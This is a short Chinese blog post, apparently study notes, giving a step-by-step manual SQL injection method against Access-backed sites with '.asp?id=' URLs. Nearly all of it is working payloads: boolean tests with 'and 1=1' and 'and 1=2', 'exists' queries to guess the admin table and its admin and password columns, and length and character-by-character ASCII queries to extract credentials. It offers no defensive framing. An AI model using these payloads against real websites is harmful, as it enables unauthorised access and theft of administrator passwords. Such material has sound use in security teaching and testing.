欢迎拜访我的新博客~~
http://blog.xieldy.cn
1. 网络协议安全
1.1SQL注入原理-手工注入access数据库
- 目标网站特征:以【.asp?id=】结尾的链接。
判断网站是否存在注入点:
- 在链接结尾添加【'】如果网站数据库报错,则说明可能可以,进行下一步。
- 在链接结尾添加【and 1=1】如果网站可以正常显示,说明可能存在注入点。
- 在链接结尾添加【and 1=2】如果返回数据库错误,则说明该网站存在注入点。
猜解表名:
1.在链接末尾添加语句【and exists(select * from admin)】,页面正常显示,说明存在表名 admin。
猜解列名
- 在链接末尾添加语句【and exists(select admin from admin)】,页面显示正常,即表中存在admin列。
- 同样的方法,添加【and exists(select password from admin)】,页面显示正常,说明存在列password。
猜测字段内容
- 猜测字段长度,在链接末尾添加语句【and (select top 1 len (admin) from admin)>1】,如果页面显示正常,数字依次加1。最后可得到字段长度。
- 同样的方法,添加语句【and (select top 1 acs(mid(admin,1,1)) from admin)>数字】,可以猜解出第一条记录第一位字符的ASCII码。
- 同样的方法可以得到admin字段的内容和password字段的内容。